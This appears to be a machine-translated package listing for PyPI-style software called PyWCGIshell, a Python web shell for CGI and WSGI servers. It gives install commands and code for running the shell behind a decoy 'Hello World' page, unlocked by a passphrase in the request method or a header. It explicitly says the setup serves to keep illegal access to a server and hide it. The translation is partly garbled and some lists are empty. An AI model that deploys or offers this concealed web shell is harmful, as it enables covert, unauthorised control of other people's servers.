PyWCGIshell
1.0.0
该软件包实现了CGI和WSGI服务器的网络壳。
使用此网络架,您可以:
此包需要:
pip install PyWCGIshell(命令行对于尝试Webshell很有用)
python3 -m PyWCGIshell wsgi # Try it in wsgi mode from PyWCGIshell import WebShell
def my_default_cgi_page ():
print ( "Content-type:text/plain; charset=utf-8" )
print ( "" )
print ( "Hello World !" )
webshell = WebShell ()
webshell . standard_page = my_default_cgi_page
webshell . run () from PyWCGIshell import WebShell
def my_default_wsgi_page ( environ , start_response ):
status = '200 OK'
headers = [( 'Content-type' , 'text/plain; charset=utf-8' )]
start_response ( status , headers )
return [ b"Hello World !" ]
webshell = WebShell ( type_ = "wsgi" )
webshell . standard_page = my_default_wsgi_page
application = webshell . run
# Apache with mod_wsgi use the "application" as default function from PyWCGIshell import WebShell
webshell = WebShell ( type_ = "cgi" , passphrase = "SHELL" , pass_type = "method" )
webshell . run ()我不建议使用pass_type之类的method隐藏您的网络壳。
您可以使用类似的配置隐藏您的网络壳。
from PyWCGIshell import WebShell
webshell = WebShell ( type_ = "wsgi" , passphrase = "<inexistant api key>" , pass_type = "header_value" )
application = webshell . run使用此网络壳:
在WebScript上安装和配置Pywcgishell,以保持您的非法访问并隐藏它(Repo在这里)。
Webshell在WebScripts- YouTube上
在GPL下获得许可,版本3。